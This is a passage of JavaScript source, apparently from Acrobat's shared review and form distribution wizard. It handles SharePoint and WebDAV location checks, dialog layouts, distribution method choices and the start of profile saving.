						break;



				    case "enumerable":

				        Net.HTTP.WebDAV.EnumerateCollection(this.data.sharepoint.cVerifyURL, this, { UsePlatformAuth: true });

				        task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_READ;

						break;



					case "removeable":

						Net.HTTP.WebDAV.DeleteFile(this.data.sharepoint.cFileURL, this, { UsePlatformAuth: true });

						task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE;

						break;

				}



				this.setStatus(task);

			},



			onErrorSPF: function(e)

			{

				app.beginPriv();

				app.alert(AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICT);

				app.endPriv();



				this.onVerifyFailureSPF(e.text);

			},



			onSuccessfulCreation: function(url)

			{

			    this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

			    this.data.sharepoint.cVerifiedURL = url;

			    var documentLibrary;

			    if (this.data.reviewType == "SharedReview")

			        documentLibrary = 'AcrobatSharedReviews';

			    else if (this.data.reviewType == "FormDistribution")

			        documentLibrary = 'AcrobatFormsDistribution';

			    this.data.sharepoint.location = this.data.sharepoint.cVerifiedURL + documentLibrary + "/";

			    this.data.sharepoint.oConfig.cSetting = this.data.sharepoint.location;

			    this.data.sharepoint.oConfig.bUseWindowsIntegratedAuthentication = true;

			    var temp = new Array();

			    temp = url.split('/');

			    var toLoad = {};

			    var workspaceName = temp[temp.length - 3];

			    toLoad.wks2 = decodeURI(workspaceName);

			    var documentLibrary = temp[temp.length - 2];

			    toLoad.dcl2 = decodeURI(documentLibrary); //Fix for bug4129988

			    temp = null;

			    this.data.sharepoint.bDoDefaultCommitCanBeDone = true;

			},



			onErrorCreation: function()

			{

			    this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

			    this.data.sharepoint.bDoDefaultCommit = false;

			    app.alert(AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DEFAULTDOCLIB_ERROR);

			},



			onVerifySuccessSPF: function()

			{

			    this.data.sharepoint.nState++;

			    if(this.data.sharepoint.nState >= this.data.sharepoint.aStates.length)

			    {

			        this.data.sharepoint.cVerifiedURL = this.data.sharepoint.cVerifyURL;

			        this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

			        this.dialog.enable({"next": true});

			        if(this.data.sharepoint.bDoCommit)

			        {

			            this.commit(this.dialog, true);

			            //this.dialog.end("fnsh");

			        }

			    }

			    else this.verifyNextStateSPF();

			},



			onVerifyFailureSPF: function(msg)

			{

				this.setStatus(msg);

				this.dialog.enable({"next": true});

			},



			onEnumerateFileSPF: function(resource)

			{

				var state = this.data.sharepoint.aStates[this.data.sharepoint.nState];

				if(state == "enumerable" && !this.data.sharepoint.bFoundFile)

				{

					var oCheckURL = util.crackURL(unescape(resource.url));

					var oMatchURL = util.crackURL(unescape(this.data.sharepoint.cFileURL));

					this.data.sharepoint.bFoundFile = (oCheckURL.cPath == oMatchURL.cPath);

				}

			},



			onEnumerateEndSPF: function(resource)

			{

				if(this.data.sharepoint.bFoundFile) this.onVerifySuccessSPF();

				else this.onVerifyFailureSPF();

			},



			onPutFileSPF: function(status) { this.onVerifySuccessSPF(); },

			onDeleteFileSPF: function(status) { this.onVerifySuccessSPF(); },



			// verify that the server URL is a valid shared review location

			verifySPF: function(dialog)

			{

			    this.data.sharepoint.defaultDocumentLibrary = false;

				this.data.sharepoint.nState = 0;

				var serverURL = this.getSharePointServerURL();

				

				if (serverURL != null && serverURL.length > 0)

				{

					this.data.sharepoint.cVerifyURL = serverURL;

					this.data.sharepoint.cFileURL = this.data.sharepoint.cVerifyURL + "com.adobe.acrobat.sharepoint.writeability";

					this.data.sharepoint.bFoundFile = false;

					this.dialog.enable({"next": false});



					this.verifyNextStateSPF();

				}

				else

					this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

			},



//The above is for Sharepoint related stuff

/***********************************************************************************************************************************/			

/***********************************************************************************************************************************/			

//The below is for making stuff common



			onError: function(e)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					{

						//network folder

						this.brwsSNF(dialog);

						break;

					}

					

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onErrorWD(e);

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onErrorSPF(e);

						break;

					}

				}

			},



			onVerifySuccess: function()

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onVerifySuccessWD();

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onVerifySuccessSPF();

						break;

					}

				}

			},



			onVerifyFailure: function(msg)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onVerifyFailureWD(msg);

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onVerifyFailureSPF(msg);

						break;

					}

				}

			},



			onEnumerateFile: function(resource)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onEnumerateFileWD(resource);

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onEnumerateFileSPF(resource);

						break;

					}

				}

			},



			onEnumerateEnd: function(resource)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onEnumerateEndWD(resource);

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onEnumerateEndSPF(resource);

						break;

					}

				}

			},



			onPutFile: function(status) 

			{ 

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onVerifySuccessWD();

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onVerifySuccessSPF();

						break;

					}

				}

			},



			onDeleteFile: function(status)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						this.onVerifySuccessWD();

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						this.onVerifySuccessSPF();

						break;

					}

				}

			},



 

 //The above is for making stuff common

/***********************************************************************************************************************************/			



			butt: function(dialog)

			{

				var r_id = this.getSelectedID();

				var item = this.data.serverControls[r_id].initiatorName;

				

				switch(item)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

							//network folder

							this.brwsSNF(dialog);



					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

							//web-server folder

							//this is not there for webdav folder

							break;



					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

							//query the sharepoint server 

							//DebugPrintln("-------------doing stuff for SP------------, loct = [" + loct + "]");

							//this is not there for SharePoint(similar to WebDav)

							break;

				}

			},



			chs3: function (dialog)

			{

			    this.sharePointwiz(dialog);

			},



			chs4: function (dialog)

			{

				var url = AnnotsString.IDS_SHARED_REVIEW_NETWORK_FOLDER_SET_CONFIG_GUIDE;

				app.launchURL(url, true);

			},



			vrfy: function(dialog)

			{

				DebugAlert("This function should not have been called. Find the place and fix it");

				DebugThrow("This function should not have been called. Find the place and fix it");

			},





			description:

			[

				{

					type: "view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "static_text",

							name: "",

							alignment: "align_fill",

							item_id: "hdng",

							font: "dialog",

							bold: true,

						},

						{

							type: "view",

							align: "align_top",

							elements: serverDesc

						},

						{

							type: "static_text",

							name: AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMB,

							alignment: "align_fill",

							//height: { prod: [ 2, { edit_text_height: [] } ] }, 

							item_id: "txt1",

							font: "dialog",

							bold: true,

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "edit_text",

									item_id: "loct",

									alignment: "align_fill"

								},

								{

									type: "button",

									name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES,

									item_id: "butt",

								},

							]

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "static_text",

									name: "Status:",

									alignment: "align_fill",

									item_id: "stat",

								},

                                {

                                    type: "link_text",

                                    name: AnnotsString.IDS_MSG_REDACTION_ALERT_LEARNMORE,

                                    alignment: "align_left",

                                    item_id: "chs4",

                                },

							]

						},

                        {

                            type: "view",

                            alignment: "align_fill",

                            align_children: "align_row",

                            elements:

							[

								{

								    type: "static_text",

								    name: SharedString("IDS_SHARED_REVIEW_SHAREPOINT_AUTOMATIC" + DT),

								    alignment: "align_fill",

								    item_id: "chs1",

								},

							]

                        },

                        {

                            type: "view",

                            alignment: "align_fill",

                            align_children: "align_row",

                            elements:

							[

								{

								    type: "static_text",

								    name: SharedString("IDS_SHARED_REVIEW_SHAREPOINT" + ST),

								    alignment: "align_left",

								    item_id: "chs2",

								},

                                {

                                    type: "link_text",

                                    name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_CHOOSE_SUBSITE,

                                    item_id: "butt",

                                    alignment: "align_left",

                                    item_id: "chs3",

                                },

							]

                        },

						{

							type: "view",

							align_children: "align_row",

							alignment: "align_fill",

							elements:

							[

								{

									type: "static_text",

									name: AnnotsString.IDS_SHARED_REVIEW_WORKSPACE_TITLE,

									item_id:"wks1"

								},

								{

									type: "static_text",

									width: 140,

									truncate: "truncate_middle",

									item_id: "wks2",

								},

								{

									type: "gap",

									width: 10,

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_SHARED_REVIEW_DOCUMENT_LIBRARY_TITLE,

									item_id: "dcl1",

								},

								{

									type: "static_text",

									width: 140,

									truncate: "truncate_middle",

									item_id: "dcl2",

								},

							]

						},

						{

							type: "gap",

							height: 10,

						},

						

						{

							type: "static_text",

							name: "",

							alignment: "align_fill",

							separator: 1,

						},

						{

							type: "view",

							align_children: "align_top",

							elements:

							[

								{

									type: "gap",

									width: 20,

								},

								{

									type: "image",

									item_id:"img1",

									width: 32,

									height: 32

								},

								{

									type: "view",

									align_children: "align_left",

									elements:

									[

										{

										    type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_SMB_DESCRIPTION,

											item_id: "des1",

											alignment: "align_fill",

											wrap_name: true,

											width: 420,

											height: { prod: [ 7, { edit_text_height: [] } ] }, //Fix for bug4132535

										},

										{

											type: "static_text",

											name: SharedString("IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_STR2" + UB),

											item_id: "des2",

											wrap_name: true,

											width: 420,

											alignment: "align_fill",

											height: { prod: [3, { edit_text_height: [] }] },

										},

									]

								}

							]

						}

					]

				},

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

		

	};



    // submit button dialog has been dropped in A9 but its still in the step logic so the defn is present here

	IWSubmitButton = function(reviewType, checkSize)

	{

		var description = 

		{

		    initialize: function(dialog)

			{

				var toLoad = {};

	

				dialog.enable({next: false});

				dialog.focus("vrfy");

				

				dialog.load(toLoad);

			},

			vrfy: function(dialog)

			{

				//complete the wizard by sending the information to the form

				//this.updateAddrs(dialog, false);

				DebugAlert("in function place submit button");

				//var addrs;

				

				try

				{

					//dialog.visible(false);

					//this.commitCurStep(false);

			//		this.data.placeSubmitButton = true;

					dialog.end("very");

				}

				catch(e)

				{

					DebugAlert("Something Wrong happend here");

				}

			},	

			description: 

			[

				{

					type: "view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "static_text",

							name: "The system cannot detect a submit button in the form you created/modified.  The Submit button is needed for people to return forms data back to you automatically. Click Place Submit Button to place the Submit button.",

							item_id: "txt0",

							font: "dialog",

							//width: Collab.wizardWidth,

							width: 420,

							wrap_name: true,

						},						

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "button",

									name: "Place Submit Button",

									item_id: "vrfy",

								},

								

							]

						},

						{

											type: "gap",

											height: 150,

						},

						{

							type: "cluster",

							elements:

							[

								{

									type: "view",

									align_children: "align_row",

									elements:

									[

										{

											type: "image",

											item_id:"img1",

											width: 32,

											height: 32

										},

										{

											type: "view",

											align_children: "align_left",

											elements:

											[

												{

													type: "static_text",

													name: "Use your mouse to place the Submit button where you want it to appear.  Once the button is placed,  you will be asked where you would like the data returned. You will then be returned to this Form Distribution Form wizard.",												

													item_id: "des1",

													width: Collab.wizardWidth,

													wrap_name: true,

												},

											]

										}

									]

								}

							]

						}

					]

				}

			]

		};

		

		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	//Step outputs

	// data.distributionMethod {"MANUAL", "EMAIL", "UPLOAD"}

	// data.distributionURL

	// data.distributionFS	

	IWDistributeStepDescription = function(reviewType, checksize)

	{

		var description = 

		{

			initialize: function(dialog)

			{

				this.data.docWarningPopped = false;

				this.data.serverConfigToAdd = this.getServerConfigToAdd();



				app.beginPriv();

				Collab.updateMountInfo();

				app.endPriv();



				if(typeof this.data.distributionMethod == "undefined")

					this.data.distributionMethod = "EMAIL";



				var toLoad = {};

				var toHide = {}; //Put those to be hidden here as false

				toHide.help = false;

				

				if(this.data.reviewType == "FormDistribution" && this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

				{

					toHide.tmsg = false;

					toHide.attc = false;

					toHide.send = false;

					if(this.data.distributionMethod == "UPLOAD")

					   this.data.distributionMethod = "EMAIL";

				}

				

				switch(this.data.distributionMethod)

				{

					default:

					case "EMAIL":

						toLoad.invi = true;

						toLoad.attc = true;

						toLoad.save = false;

						break;



					case "UPLOAD":

						toLoad.invi = true;

						toLoad.send = true;

						toLoad.save = false;

						break;



					case "MANUAL":

						toLoad.save = true;

						toLoad.invi = false;

						toLoad.attc = false;

						break;

				}



				switch(this.data.distributionMethod)

				{

					case "MANUAL":

						this.save(dialog);

						break;



					case "EMAIL":

						app.beginPriv();

						var path = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

						app.endPriv();

						toLoad.dest = (this.data.doc.requiresFullSave) ? "" : path;



						toHide.fsav = false;

						toHide.dest = false;

						toHide.brws = false;

						toHide.tmsg = true;

						toHide.attc = true;

						toHide.send = true;

						

						break;



					case "UPLOAD":

						toHide.fsav = false;

						toHide.dest = false;

						toHide.brws = false;

						toHide.tmsg = true;

						toHide.attc = true;

						toHide.send = true;

						

						break;

				}



				

				//load the icon

				toLoad.img1 = "C_Info_Xl_N.png";



				if(typeof this.data.previousDestination != "undefined")

					toLoad.dest = this.data.previousDestination;



				dialog.focus("next");

				dialog.visible(toHide);

				dialog.load(toLoad);

				

			},



			invi: function(dialog)

			{

				var props = dialog.store();

				if(this.data.reviewType == "FormDistribution" && this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

					props.attc = true;

					

				if(props.attc) this.attc(dialog);

				else if(props.send) this.send(dialog);



				var toHide = 

				{

					"fsav": false,

					"dest": false,

					"brws": false,

					"tmsg": true,

					"attc": true,

					"send": true,

				};

				

				dialog.visible(toHide);		

			},

			attc: function(dialog)

			{

				var toLoad = {};

				var props = dialog.store();

				if(props.invi && !props.attc && !props.send)

					toLoad.attc = true;

				

				dialog.load(toLoad);

			},



			getServerConfigToAdd: function()

			{

				switch (this.data.serverType)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					{

						return this.data.smb.oConfig;							

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						return this.data.sharepoint.oConfig;

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						return this.data.webdav.oConfig;

						break;							

					} 

				}

			},



			send: function(dialog)

			{

				// Bugfix #1391364 - preload the control with the default save location for links

				

				//var cDefaultLink = this.data.server.Settings.cSetting; // TODO: Fix in 9.0

				var cDefaultLink = this.data.serverConfigToAdd.cSetting; 

				cDefaultLink += this.data.cDocumentName;

				this.data.distributionURL = cDefaultLink;

			},



			save: function(dialog)

			{

				var toLoad = {};

				// Bugfix #1391364 - preload the control with the default save location for links

				app.beginPriv();

				var path = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

				app.endPriv();

				toLoad.dest = (this.data.doc.requiresFullSave) ? "" : path;

				

				// Publish file to a server - switch the text

				dialog.load(toLoad);



				var toHide = 

				{

					"fsav": true,

					"dest": true,

					"brws": true,

					"tmsg": false,

					"attc": false,

					"send": false,

				};

				

				dialog.visible(toHide);

			},



			"brws": function(dialog)

			{				

				var browseProps = 

				{

					bSave: true,

					cFilenameInit: this.data.cDocumentName, 

					bUnicode: true,

				}

				

				var props = dialog.store();

				this.data.distributionMethod = "MANUAL";



				app.beginPriv()

				var path = app.browseForDoc(browseProps);

				app.endPriv();



				if(path)

				{

					try

					{

						var saveURL;

						this.data.distributionFS = path.cFS;



						switch(this.data.distributionMethod)

						{

							case "MANUAL":

								this.data.cDocumentPath = path.cPath;

								this.data.cDocumentName = this.data.cDocumentPath.substring(this.data.cDocumentPath.lastIndexOf('/') + 1, this.data.cDocumentPath.length);

								break;

						}



						app.beginPriv();

						saveURL = Collab.convertDIPathToPlatformPath(path.cPath);

						app.endPriv();

						dialog.load({dest: saveURL});

					}

					catch (e)

					{

						if (e.message == "Volume Mount Exception")

						{

							var errMsg;

							switch (Number(e.errorCode))

							{

								case 1:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR;

									break;

								case 3:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_MOUNT_ERROR;

									break;

								default:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_ERROR;

									break;

							}



							app.beginPriv();

							app.alert(errMsg);

							app.endPriv();

							DebugThrow ("VolMountError");

						}



					}

				}

			},



			normalizeURL: function(url)

			{

				// The Collab.uriNormalize function may need to access the file system

				// to perform its function. For this reason we need to pass it a valid

				// path. Since the file that is selected in browseForDoc may not exist

				// the path stored in url may not be fully resolvable. So, we need to strip

				// off the file portion of the url before passing it to Collab.uriNormalize.

				// After normalizing the url we need to append the file portion back on

				// to the url.

				/*

                This function is not used anymore in the new Shared Review Wizard. 

                If you start using it please ensure that URL is proparly escaped in uriNormalize

                method as it will eventually unescape

                */

				var lastSepIndex = url.lastIndexOf('/');

				if (lastSepIndex >= 0)

				{

					var dirURL = url.substr(0, lastSepIndex + 1);

					var suburl = url.substr(lastSepIndex + 1);

					app.beginPriv();

					url = Collab.uriNormalize(dirURL) + suburl;

					app.endPriv();

				}

				

				return url;

			},

			

			fixURL: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

				{

					// trailing slash? add a file name

					url = url.replace(/\\\.?$/, "\\" + this.data.cDocumentName);

				}

				else

					// trailing slash? add a file name

					url = url.replace(/\/\.?$/, "/" + this.data.cDocumentName);

				

				// no .pdf ending? add it

				if(!url.match(/\.pdf$/i))

				{

					if(url.match(/\.$/))

						url += "pdf";

					else

						url += ".pdf";

				}

					

				return url;

			},



			getFS: function(url)

			{

				if(url.match(/^\\\\/) || url.match(/^.+:\\/)) // really a windows path

					return fileSystem['default'];

				else if(url.match(/^file:\/\//) || url.match(/^smb:\/\//)) // SMB URL

					return fileSystem['default'];

				else return fileSystem.WebDAV;

			},



			getSeparator: function(url)

			{

				var pathSep = "/";

				if(url.match(/^\\\\/) || url.match(/^.+:\\/)) // really a windows path

				{

					pathSep = "\\";

				}

				else if(url.match(/^(http[s]|file):\/\//)) // URL Scheme

				{

					pathSep = "/";

				}



				return pathSep;

			},



			getFilename: function(url)

			{

				var pathIndex = url.lastIndexOf(this.getSeparator(url));

				if (pathIndex >= 0) url = url.substr(pathIndex + 1);



				return url;

			},



			getDirectory: function(url)

			{

				var pathIndex = url.lastIndexOf(this.getSeparator(url));

				if (pathIndex >= 0) url = url.substr(0, pathIndex + 1);



				return url;

			},



			URLToDiPath: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

					url = url.replace(/\\/g, "/").replace(/^\/\//, "/");

				else

				{

					url = url.replace(/^file:\/\/localhost\//, "/");

					url = url.replace(/^file:\/\/\//, "/");

					url = url.replace(/^file:\/\//, "/");

					url = url.replace(/^\/([^\/]+)\|\//, "/$1/");

				}

				return unescape(url);				

			},



			URLPartialOk: function(dest)

			{

				switch(app.platform)

				{

					case "MAC": 

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/)|(?:smb:\/\/).+\/.*$/);

					case "WIN":

						return dest.match(/^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$)/);

					default:

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$/);

				}	

			},

			

			idle: function(dialog)

			{

				// XXX this stinks

				if(this.data.reviewType != "FormDistribution" && this.data.doc && !this.data.docWarningPopped)

				{

					this.data.docWarningPopped = true;

					if (this.data.docModifiable == undefined)

					{

						this.data.docModifiable = this.data.doc.requestPermission(permission.document, permission.modify) == permission.granted;

					}



					app.beginPriv();

					if(this.data.doc.certified)

						app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED});

					else if(!this.data.docModifiable)

					{

						var str = AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_NOT_MODIFIABLE;

						if(Collab.isSharedReview(this.data.doc))

							str = AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEW;

						app.alert({cMsg: str});

					}

					app.endPriv();

				}



				var props = dialog.store();

				var toEnable = { next: true };

                if(this.data.reviewType == "FormDistribution" && this.data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

                {

                    toEnable.prev = false;

                }

				// Update the next button

				

				if(this.data.reviewType != "FormDistribution")

				{

				    if(props.send && props.invi)

				    {

					    // dikumar: The login to enable the next button is different in the case of send a link. As there is no place to specify the url 

					    // partialOKURL is always null. Hence next was always disabled.

					    /*				

  					    var partialOKURL = this.URLPartialOk(props.dest);

    					

					    if(this.data.doc != null)

					    {

						    var dispVal = partialOKURL ?

							    AnnotsString.IDS_SHARED_REVIEW_UPLOAD_TEMPLATE.replace(/%url%/, this.fixURL(props.dest)) :

							    AnnotsString.IDS_SHARED_REVIEW_UPLOAD_TEMPLATE.replace(/%url%/, "--");

    						

						    if(props.disp != dispVal)

							    dialog.load({disp: dispVal });

    						

						    toEnable.next = this.data.docModifiable && !this.data.doc.certified && partialOKURL != null;

					    }*/

					    toEnable.next = this.data.docModifiable && !this.data.doc.certified;

				    }

				    else if (props.save)

				    {

					    toEnable.next = this.data.docModifiable && !this.data.doc.certified && 

									    props.dest != null && props.dest.match(/\.pdf$/i) != null;

				    }

				    else

				    {

					    toEnable.next = this.data.docModifiable && !this.data.doc.certified ;

				    }

                }

                

                var toHide = {};

                

                if(this.data.reviewType == "FormDistribution" && this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

				{

					toHide.tmsg = false;

					toHide.attc = false;

					toHide.send = false;

				}

				

				toHide.disp = props.send && props.invi;

				

				dialog.enable(toEnable);

				dialog.visible(toHide);

			},



			commit: function(dialog, next)

			{

				if(next)

				{

					var props = dialog.store();



					var locationProps = {};



					// The radios look like:

					// *invi

					// *save   

					// *attc

					// *send

					// This gives 3 possible states since we ignore attc and send if save is selected

					if(props.save)

					{

						// Don't send, save a copy locally			

						this.data.distributionMethod = "MANUAL";

						this.data.distributionFS = this.getFS(props.dest);

						this.data.previousDestination = props.dest;

						

						app.beginPriv();

						this.data.cDocumentPath = Collab.convertPlatformPathToDIPath(props.dest);

						app.endPriv();

						this.data.cDocumentName = this.data.cDocumentPath.substring(this.data.cDocumentPath.lastIndexOf('/') + 1, this.data.cDocumentPath.length);

					}

					else if(props.attc)

					{	

						DebugAlert("Coming here" + this.data.cDocumentPath);

						// Send an attachment and save a copy locally				

						this.data.distributionMethod = "EMAIL";

						this.data.distributionFS = this.getFS( this.data.cDocumentPath);

					}

					else

					{

						// Save remotely and send a link

						this.data.distributionMethod = "UPLOAD";

						this.data.distributionURL = this.fixURL(this.data.distributionURL);

						this.data.distributionFS = this.getFS(this.data.distributionURL);



						if(this.data.Error_DocumentLocationAndRepositoryLocationSame == true)

						{

							app.beginPriv();

							app.alert(AnnotsString.IDS_SHARED_REVIEW_ERROR_SAME_LOCATION_FOR_FILE_REPOSITORY);

							app.endPriv();

							DebugThrow ("Cannot choose same folder")

						}						

					}

				}

				DebugAlert("data.distributionFS"+this.data.distributionFS);

				DebugAlert("distributionURL"+this.data.distributionURL);

				DebugAlert("cDocumentPath"+this.data.cDocumentPath);

				DebugAlert("cDocumentName"+this.data.cDocumentName);

			},



			description: 

			[

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "static_text",

							alignment: "align_fill",

							font: "dialog",

							bold: true,

							item_id: "hdng",

							name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING" + WT),

						},

						{

							type: "radio",

							item_id: "invi",

							group_id: "dist",

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SEND_INVITE

						},

						{

							type: "radio",

							item_id: "save",

							group_id: "dist",

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SAVE_LOCAL,

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "gap",

									width: 5,

								},

								{

									type: "view",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											alignment: "align_fill",

											name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SAVE_LOCAL_LOCATION,

											item_id: "fsav",

										},

								

										{

											type: "view",

											alignment: "align_fill",

											align_children: "align_row",

											elements:

											[

												{

													type: "edit_text",

													item_id: "dest",

													alignment: "align_fill",

                                                    readonly: app.isProtectedModeEnabled,

												},

												{

													type: "button",

													name: AnnotsString.IDS_BROWSE,

													item_id: "brws"

												},

											]

										},

									]

								},

							]

						},

						{

							type: "static_text",

							alignment: "align_fill",

							font: "dialog",

							bold: true,

							item_id: "tmsg",

							name:  SharedString("IDS_SHARED_REVIEW_DISTRIBUTION_STEP_RADIO_SUBHEADING" + WT),

						},

						{

							type: "radio",

							item_id: "send",

							group_id: "type",

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SEND_URL

						},

						{

							type: "radio",

							item_id: "attc",

							group_id: "type",

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_ATTACH_TO_EMAIL

						},

						{

							type: "gap",

							height: 40,

						},

						{

							type: "static_text",

							name: "",

							alignment: "align_fill",

							separator: 1,

						},

						{

							type: "view",

							align_children: "align_top",

							elements:

							[

								{

									type: "gap",

									width: 20,

								},

								{

									type: "image",

									item_id:"img1",

									width: 32,

									height: 32

								},

								{

									type: "view",

									align_children: "align_left",

									elements:

									[

										{

											type: "static_text",

											name: SharedString("IDS_SHARED_REVIEW_DISTRIBUTION_SEND1" + WT),

											item_id: "des1",

											alignment: "align_fill",

											wrap_name: true,

											width: 420,

											height: { prod: [ 3, { edit_text_height: [] } ] },

										},

									]

								}

							]

						}

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	IWSaveProfileStepDescription = function(reviewType, checksize)

	{

		var description = 

		{

			initialize: function(dialog)

			{

				var toLoad = {};

				var toShow = {};

				

				toShow.help = false;

				

				//Initialize the edit box.

				var profileNameInitial = ""

				app.beginPriv();

				var servers = Collab.allReviewServers(this.data.reviewType);

				app.endPriv();

				

				for (var j in this.data.drivers)

				{

					if (this.data.serverType == this.data.drivers[j].initiatorName)

					{

						profileNameInitial = this.data.drivers[j].initiatorDefaultName;

						break;

					}

				}

				

				// Initialize aSer

				switch (this.data.distributionMethod)

				{

					case "EMAIL":

						profileNameInitial += AnnotsString.IDS_SHARED_REVIEW_NAME_SUGGEST_EMAIL;

						toLoad.aHow = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_EMAIL;

						toShow.aSer = false;

						toShow.aLnk = false;

						break

					case "UPLOAD":

					{

						profileNameInitial += AnnotsString.IDS_SHARED_REVIEW_NAME_SUGGEST_UPLOAD;

						toLoad.aHow = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_UPLOAD;

						switch (this.data.serverType)

						{

							case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME: 

